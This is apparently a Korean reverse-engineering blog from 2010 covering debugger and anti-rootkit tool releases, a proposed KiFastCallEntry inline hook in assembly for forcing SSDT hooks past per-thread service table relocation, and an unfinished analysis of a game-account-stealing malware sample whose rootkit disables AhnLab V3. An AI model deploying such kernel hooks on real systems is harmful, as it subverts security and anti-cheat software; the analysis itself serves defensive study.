Kernel Detective 1.3.1 버젼에서 업데이트 되었습니다.
개인적인 바램으론 , Windows 7에서 안정성 향상이 되었으면 하는 바램입니다.
일단, 제가 실행해보니 Windows 7 에서는 특별한 문제는 아직까지 발견하지 못했습니다.

Update Date : Wednesday 08 December 2010 - 16:38:33


What's new in v1.4.0 :

- Added plugins system
- Added support for windows server 2008, seven sp1
- Enhanced stability on NT 6.0+ (windows vista/seven)
- Improved driver scan
- Improved code hook scan
- Fixed bug prevent the tool from working on windows xp
- Fixed bug related to long paths
- Fixed bug in process/driver dumper
- Fixed bug in IDT scan




이번 버젼에서 가장 큰 개선점은 , 플러그인 시스템이 지원된다는것입니다.
그중에서 기본으로 탑재되있는 C/C++기반의 스크립트 기능이 강력한것 같네요.
아래 Example 코드를 보시겠습니다.

#include "hxdmp.kds"

USHORT MasterBootRecord[512/sizeof(USHORT)];
UCHAR StatusRegister;
CHAR __strbuff[512];

KdWriteLog("Accessing disk by PIO-Mode ...\r\n");
memset((char *)&MasterBootRecord, 0x00, sizeof(MasterBootRecord));

KdWritePortChar(0x1f6, 0xA0);
KdWritePortChar(0x1f2, 0x01);
KdWritePortChar(0x1f3, 0x01);
KdWritePortChar(0x1f4, 0x00);
KdWritePortChar(0x1f5, 0x00);
KdWritePortChar(0x1f7, 0x20);
for (ULONG tryCounter = 0; tryCounter < 10000; tryCounter++) {
    StatusRegister = KdReadPortChar(0x1f7);
    if (StatusRegister & 0x08)
        break;
}

sprintf(__strbuff, "StatusRegister = %x\r\n", StatusRegister);
KdWriteLog(__strbuff);
KdReadPortBufferShort(0x1f0, MasterBootRecord, 512/sizeof(USHORT));
if (StatusRegister & 0x58) {
    KdWriteLog("Master boot record (MBR):\r\n");
    PCHAR strHexDump = HexDump((PUCHAR)MasterBootRecord, 512);
    KdWriteLog(strHexDump);
    delete strHexDump;
}



위 코드의 실행결과 입니다.


Accessing disk by PIO-Mode ...
StatusRegister = 58
Master boot record (MBR):
0x0000 : 33 c0 8e d0 bc 00 7c 8e c0 8e d8 be 00 7c bf 00 3.....|......|..
0x0010 : 06 b9 00 02 fc f3 a4 50 68 1c 06 cb fb b9 04 00 .......Ph.......
0x0020 : bd be 07 80 7e 00 00 7c 0b 0f 85 0e 01 83 c5 10 ....~..|........
0x0030 : e2 f1 cd 18 88 56 00 55 c6 46 11 05 c6 46 10 00 .....V.U.F...F..
0x0040 : b4 41 bb aa 55 cd 13 5d 72 0f 81 fb 55 aa 75 09 .A..U..]r...U.u.
0x0050 : f7 c1 01 00 74 03 fe 46 10 66 60 80 7e 10 00 74 ....t..F.f`.~..t
0x0060 : 26 66 68 00 00 00 00 66 ff 76 08 68 00 00 68 00 &fh....f.v.h..h.
0x0070 : 7c 68 01 00 68 10 00 b4 42 8a 56 00 8b f4 cd 13 |h..h...B.V.....
0x0080 : 9f 83 c4 10 9e eb 14 b8 01 02 bb 00 7c 8a 56 00 ............|.V.
0x0090 : 8a 76 01 8a 4e 02 8a 6e 03 cd 13 66 61 73 1c fe .v..N..n...fas..
0x00A0 : 4e 11 75 0c 80 7e 00 80 0f 84 8a 00 b2 80 eb 84 N.u..~..........
0x00B0 : 55 32 e4 8a 56 00 cd 13 5d eb 9e 81 3e fe 7d 55 U2..V...]...>.}U
0x00C0 : aa 75 6e ff 76 00 e8 8d 00 75 17 fa b0 d1 e6 64 .un.v....u.....d
0x00D0 : e8 83 00 b0 df e6 60 e8 7c 00 b0 ff e6 64 e8 75 ......`.|....d.u
0x00E0 : 00 fb b8 00 bb cd 1a 66 23 c0 75 3b 66 81 fb 54 .......f#.u;f..T
0x00F0 : 43 50 41 75 32 81 f9 02 01 72 2c 66 68 07 bb 00 CPAu2....r,fh...
0x0100 : 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66 .fh....fh....fSf
0x0110 : 53 66 55 66 68 00 00 00 00 66 68 00 7c 00 00 66 SfUfh....fh.|..f
0x0120 : 61 68 00 00 07 cd 1a 5a 32 f6 ea 00 7c 00 00 cd ah.....Z2...|...
0x0130 : 18 a0 b7 07 eb 08 a0 b6 07 eb 03 a0 b5 07 32 e4 ..............2.
0x0140 : 05 00 07 8b f0 ac 3c 00 74 09 bb 07 00 b4 0e cd ......<.t.......
0x0150 : 10 eb f2 f4 eb fd 2b c9 e4 64 eb 00 24 02 e0 f8 ......+..d..$...
0x0160 : 24 02 c3 49 6e 76 61 6c 69 64 20 70 61 72 74 69 $..Invalid parti
0x0170 : 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 tion table.Error
0x0180 : 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 loading operati
0x0190 : 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e ng system.Missin
0x01A0 : 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 g operating syst
0x01B0 : 65 6d 00 00 00 63 7b 9a 1a ba 12 d7 00 00 80 20 em...c{........ 
0x01C0 : 21 00 07 fe ff ff 00 08 00 00 00 f8 73 07 00 00 !...........s...
0x01D0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01E0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01F0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.


이제 이 프로그램을 사용하는 사람이 어떤 마음을 먹느냐에 달려있다고 봅니다.
개인적으로 이런 좋은 "안티루트킷" 프로그램이 게임핵 따위에 이용되다가 , 
nProtect GG , Ahnlab HS등에 차단되지 않았으면 하는 바램입니다.

Org Referenced : http://at4re.com


저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

ZwOpenSection, ZwCreateSection을 이용한 멀티로드 방지  (3) 2011.02.27
The Rootkit Arsenal  (5) 2011.01.25
Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
by Sone 2010.12.09 20:46
IDA를 좀더 강력하게 해주는 플러그인 입니다.
각종 Anti Anti-Debugging Technique들이 많고 , 소스코드도 제공되기때문에
공부하는데 좋습니다.

TSC를 이용한 안티디버깅 기법을 무력화 시키는  커널 드라이버의 소스코드도 제공됩니다. (IDT Hook)

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
IDA Stealth v1.3  (0) 2010.07.25
by Sone 2010.10.10 19:49
Features:

- Imports
- An original tree view
- 2 different methods to find original imports (by IAT and/or API calls)
- A *FULL* complete rebuilder (including a new fresh IAT)

- Loader
- An analyzer and ripper of redirected API code
- An injected loader code to support mix of imports + ripped code in a thunk
- A heuristic relocator

- Tracers
- 3 default tracers (disasm, hook & ring3) to find APIs in redirected code
- A plugin interface to develop your own tracers

- Misc
- Support ALL 32/64bits Windows (9x, ME, NT, 2k, XP and Vista32/64)
- An export renormalizer for Win9x/ME (ala Icedump)
- A built-in coloured disasm/hex-viewer to analyze the redirected code
- A built-in dumper
- Support almost all known antidump tricks

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
IDA Stealth v1.3  (0) 2010.07.25
Windows Internals Fifth Edition 번역판  (0) 2010.07.23
by Sone 2010.10.10 19:42
 요즘에는 SSDT후킹에 관한 정보들이 온라인상에 매우 많아졌고, 예제 코드또한 많아서 , 이에 대해서 잘 모른다고해도 , 몇번 쳐보고 실습해보면 금방 알수있게 되었습니다. SSDT후킹이라 함은,  System Service Descriptor Table 을 후킹한다는말인데, 좀더 구체적으로 살펴보면, 우선 커널에서 Export 하고있는 KeServiceDescriptorTable (또는 KeServiceDescriptorTableShadow)의 구조체를 살펴보면 다음과 같습니다.


typedef struct ServiceDescriptorEntry
{
UINT* ServiceTableBase;
UINT* ServiceCounterTableBase;
UINT NumberOfServices;
UCHAR* ParamTableBase;
} SSDT_Entry, *PSSDT_Entry;

typedef struct _SERVICE_DESCRIPTOR_TABLE {
SSDT_Entry ntoskrnl;          // Native API
SSDT_Entry win32k;           // GUI Sub System
SSDT_Entry reserved3; // Reserved.
SSDT_Entry reserved4; // Reserved.
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; 


 대부분 SSDT후킹이라함은 , ntoskrnl(또는 win32k) . ServiceTableBase[INDEX]  를 따내는것이 대부분일것이고, 이것을 따내는목적은 시스템콜을 후킹함으로써 , 전역적으로 모든 쓰레드에 대하여 자신이 원하는 작업을 수행하게하려는 목적일것입니다. 그런데 이미 오래전부터 잘 알려진 사실이지만 ,  엄밀히 말하면  SSDT를 후킹하는것이   모든 쓰레드에 관해서 전역적으로 후킹한다는것은 틀린말입니다.
 윈도우에서 제공해주는 시스템API를 이용하여 쓰레드를 만들면 (또는 Main Thread 포함)  윈도우에서는 생성된 쓰레드를 효율적으로 관리하기위하여 , 커널레벨 내부적으로 ETHREAD , KTHREAD라는 Struct를 생성하여 관리합니다. 이중,  KTHREAD라는 구조체 내부를 살펴보면 다음과 같은 멤버가 있습니다.

(Windows XP Service Pack 3 기준)
   +0x0de NpxIrql          : UChar
   +0x0df InitialNode      : UChar
   +0x0e0 ServiceTable     : Ptr32 Void
   +0x0e4 Queue            : Ptr32 _KQUEUE
   +0x0e8 ApcQueueLock     : Uint4B
   +0x0f0 Timer            : _KTIMER

 즉 쓰레드마다  ServiceTable이라는 멤버를 가지고있고 , 특정 쓰레드에서 커널 시스템콜을 호출할 경우, 그 쓰레드는 자신의 KTHREAD의 ServiceTable 멤버를 참조하여 , 서비스 테이블을 찾아감을 알수 있습니다. 여기서 생각해보면 , 위 ServiceTable 멤버의 값을 임의로 바꿔버리게 되면 커널이 Export 하고있는 서비스테이블이 아닌, 다른 위치를 참조하게 된다는 말입니다.  먼저 ExAllocatePoolWithTag를 이용해서 메모리를 할당한뒤 , RtlCopyMemory 등을 이용하여, 원래의 서비스테이블 내용을 복사해주고 , ServiceTable멤버의 값을 새로 할당한 메모리주소로 바꿔주면 , 그때부터 그 쓰레드는 커널에서 Export 하고있는 서비스테이블을 참조하는것이 아니라 , 유저가 임의로 생성한 서비스테이블을 참조하게 되는것입니다. 흔히 SSDT를 따내면 전역적으로 후킹이 된다라고 하는것은 , 어플리케이션단에서 작동하는 쓰레드에 대해서 KTHREAD의 ServiceTable 멤버가 조작되지 않았을 경우에 한해서만 성립됩니다.  쓰레드마다 ServiceTable 멤버를 가지고있고 이 값이 변경되버리면 커널에서 Export 하고있는 SSDT를 후킹한다고 해도 , 그 후킹이 먹히지가 않을것이기 때문에 , 전역적인 후킹이라는것이 성립되지 않게 되는것이죠. 이것이 일명 Service Table Relocation이라고 하는것입니다. 이 Service Table Relocation은  SSDT후킹으로부터 보호하고자 하는 쓰레드를 대상으로해서 , 효율적으로 코드를 작성할수가 있어서 현업에서도 종종 이용되는것으로 알고있습니다. (1위 온라인 FPS 총게임에 채택된 보안솔루션도 이 방법을 쓰고있죠.)

 그런데 여기서 머리를 조금만 굴려보면 , 이 Service Table Relocation 도 무력화 시킬수 있는 방법이 있습니다. 즉 , 모든 쓰레드에 대하여 전역적인 SSDT후킹이 가능해지는것이죠. 그 방법은 KiFastCallEntry를 인라인 후킹하는 방법입니다. (뭐 잘 아시는분들이 수두룩할겁니다. 전혀 새로운 방법이 아니죠) KiFastCallEntry는  유저레벨에서  시스템콜을 호출해서  Ring Transaction이 이루어져서 커널레벨로 진입한뒤 , 제일 처음 호출되는 함수라는 의미에서 Entry라는 이름이 붙여진것같네요. 질질 끌지않고 바로 핵심내용을 살펴보면 KiFastCallEntry 함수 내부의 코드를 살펴보면 아래와 같은 내용이 있습니다.


805435bf 8bf8            mov     edi,eax
805435c1 c1ef08          shr     edi,8
805435c4 83e730          and     edi,30h
805435c7 8bcf            mov     ecx,edi
805435c9 03bee0000000    add     edi,dword ptr [esi+0E0h]
805435cf 8bd8            mov     ebx,eax
805435d1 25ff0f0000      and     eax,0FFFh
805435d6 3b4708          cmp     eax,dword ptr [edi+8]
805435d9 0f8333fdffff    jae     nt!KiBBTUnexpectedRange (80543312)
805435df 83f910          cmp     ecx,10h
805435e2 751b            jne     nt!KiFastCallEntry+0xcf (805435ff)
805435e4 648b0d18000000  mov     ecx,dword ptr fs:[18h]
805435eb 33db            xor     ebx,ebx
805435ed 0b99700f0000    or      ebx,dword ptr [ecx+0F70h]
805435f3 740a            je      nt!KiFastCallEntry+0xcf (805435ff)
805435f5 52              push    edx
805435f6 50              push    eax
805435f7 ff1548e75580    call    dword ptr [nt!KeGdiFlushUserBatch (8055e748)]
805435fd 58              pop     eax
805435fe 5a              pop     edx
805435ff 64ff0538060000  inc     dword ptr fs:[638h]
80543606 8bf2            mov     esi,edx
80543608 8b5f0c          mov     ebx,dword ptr [edi+0Ch]
8054360b 33c9            xor     ecx,ecx
8054360d 8a0c18          mov     cl,byte ptr [eax+ebx]
80543610 8b3f            mov     edi,dword ptr [edi]
80543612 8b1c87          mov     ebx,dword ptr [edi+eax*4]
80543615 2be1            sub     esp,ecx
80543617 c1e902          shr     ecx,2
8054361a 8bfc            mov     edi,esp
8054361c 3b3534415680    cmp     esi,dword ptr [nt!MmUserProbeAddress (80564134)]
80543622 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (805437d0)
80543628 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
8054362a ffd3            call    ebx

 제일 윗쪽의 진하게 표시된 부분을 보시면 ,  ESI + 0x0E0h 를 한다음 그것을 DWORD만큼 참조해서 연산을 수행하고 있습니다. 805435c9  에 EIP가 왔을때 , EDI의 값이 어떤지는 라이브 디버깅을 해보지않아서 현재로썬 모르겠지만, 여기서 ESI는 PKTHREAD일것이 분명할것이고 , 0x0E0는   ServiceTable 멤버의 Offset이라는거죠.   그다음 진한부분을 보시면  EDI 레지스터가 지니고있는 포인터를 DWORD만큼 참조하여 , EDI로 넣고 있습니다. EIP가 80543610에 왔을때 ,  EDI레지스터는  KeServiceDescriptorTable 또는 KeServiceDescriptorTableShadow의 값을 가지고 있을겁니다. 해당 라인이 수행되고나면 , EDI는 KiServiceTable 또는 W32pServiceTable 의 값을 가지게 될것입니다. 다음줄에서 EDI+EAX*4 연산을 수행하게되면, EBX는   KiServiceTable(또는 W32pServiceTable)  + (Service Number * 4) 의 값을 가지게 될것입니다. 즉 실제 Native 시스템콜이 구현되어져 있는부분의 주소값을 EBX가 가지게 된다는 말이죠. 그리고나서 맨 아랫줄에서 call ebx를 통하여 실제 시스템콜을 호출합니다. 그럼 여기서 핵심은 80543610 , 80543612인데, EIP가 80543610에 왔을때 EDI값은  KTHREAD의 ServiceTable 멤버를 참조하는것이 분명할것이기 때문에 , 이 부분을 인라인 후킹해주면 될것입니다. 후킹 함수는 다음과 같이 작성해볼 수 있겠죠.


__declspec(naked) VOID hookproc()
{
_asm
{
mov edi, dword ptr [edi]
cmp edi, OriginalSSDT
je RelocationMySSDT
cmp edi, OriginalSSDTShadow
je RelocationMySSDTShadow
jmp CalculateSystemCall
RelocationMySSDT:
mov edi, MyHookSSDT
jmp CalculateSystemCall
RelocationMySSDTShadow:
mov edi, MyHookSSDTShadow
jmp CalculateSystemCall
CalculateSystemCall:
mov ebx, dword ptr [edi+eax*4]
retn
}
}

위 naked 함수는 이미 특정 커널 드라이버에 의해서 Service Table Relocation 되버린 쓰레드를 걸러내는 기능을 하지는 못하고, 원본 SSDT, SSDTShadow 를 참조하는 쓰레드를 대상으로 전역적인 후킹이 가능하게끔 구현되어져 있지만,
PKTHREAD(KeGetCurrentThread)의  Win32Thread를 참조로하여 ,  그것의 TEST연산 결과를 이용하여(단순 GUI쓰레드 판별) , 그것이 Relocation되버린 쓰레드이건 , 커널의 서비스 테이블을 참조하고있는 쓰레드이건 상관없이, 강제적인 SSDT훅 , 또는 SDTShadow훅을 걸어버리게끔 코드 작성을 생각해볼 수 있습니다. 
 이렇게 하면 KTHREAD 단에서 ServiceTable의 멤버를 바꿔서 Relocation을 수행한다고 해도, KiFastCallEntry에서 Init을 수행하는 과정에서 후킹을 해버리기 때문에  , 모든 쓰레드에 대하여 전역적으로 후킹이 가능해질 것입니다. (사실 실제로 구현해보지는 않았습니다만, 될것으로 확신합니다.)  "KiFastCallEntry 후킹 + 시스템콜 (인라인)후킹"  을 써먹으면 매우 강력한 방법이 될것입니다.
저작자 표시 비영리 변경 금지
신고
by Sone 2010.09.12 07:00
올리디버거 2.00 버젼이 최종 릴리즈 되었습니다.
아래는 개발자가 밝힌 2.00 버젼의 새로운 특징들을 번역한 것입니다.

version 2.00 already contains many new features that were not available before. Among them:


· Full support for SSE instructions, including SSE3 and SSE4. SSE registers are accessed directly,
without code injection;
> SSE명령어를 모두 지원합니다. Code Injection을 하지 않고도,  SSE 레지스터에 직접적으로 접근 가능합니다.

· Execution of commands in the context of debugger, allowing run trace speed - with conditions and
protocolling! - of up to 1,000,000 commands per second;
> 컨텍스트를 확인해서 , 실행흐름을 보다 자세히 추적할 수 있게 되었습니다.
초당 1개에서 1백만개의 추적이 가능합니다.

주 : 초대박인듯










· Unlimited number of memory breakpoints;
> 메모리 중단점 갯수 제한이 없어졌습니다.

· Conditional memory and hardware breakpoints;
> 조건부  메모리, 하드웨어 중단점 설정이 가능합니다.

· Reliable, analysis-independent hit trace;
> 믿을만한 분석?  의미를 파악하기 힘드네요

· Analyser that recognizes the number (and sometimes the meaning) of the arguments of unknown
functions;
> 알려지지 않은 함수의  인자가 몇개인지 파악할 수 있습니다.

· Detaching from debugged process;
>  디버기 프로세스로부터 디태칭이 가능합니다. 

· Debugging of child processes;
> 자식 프로세스를 디버깅할 수 있습니다.

· Built-in help for integer and FPU commands;
> 정수, 부동 소수점 관련된 명령어에 관해서 자체적으로 탑재된 도움말을 제공합니다.

· Option to pause on TLS callback;
> TLS Callback 루틴에서 정지가 가능합니다.

· Option to pass unprocessed exceptions to the unhandled exception filter.
>처리되지 않은 예외를 Unhandled Exception Filter(다뤄지지않은 예외를 처리하는 필터) 로 넘길 수 있습니다.



위 특징들 말고도,  새로운 특징들이 더 있습니다.



문서화되지않은 명령어들 일부도 지원하는모양이군요.





이번 버젼에서 추가 지원하는 명령어들 중 일부를 나열한것 같네요.  멀티바이트 NOP를 지원한다는 문구도 보입니다.
아니면 원래 지원하는데 제가 이제서야 본건지??





이런이런,,,,명령어들에 대한 상세한 도움말도 자체적으로 제공합니다.  이거 완전  굿이네요




검색기능도 추가된것이 있습니다.
원래 1.10에서는  MOV R32,R32 같은 검색 기능도 있었습니다만,
2.00버젼에서는  MOV R32,ANY  여기서  ANY라는 키워드가 새로 추가되었습니다.
말 그대로 ANY  아무거나 검색한다는 말입니다.
MOV EAX,ANY  라고 검색한다면   MOV EAX, XXXXXXX 형태의  커맨드는 모두 찾아서 표시해줍니다.



그 외에도 help파일에 많은 설명들이 있습니다.



저작자 표시 비영리 변경 금지
신고
by Sone 2010.06.05 22:57

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
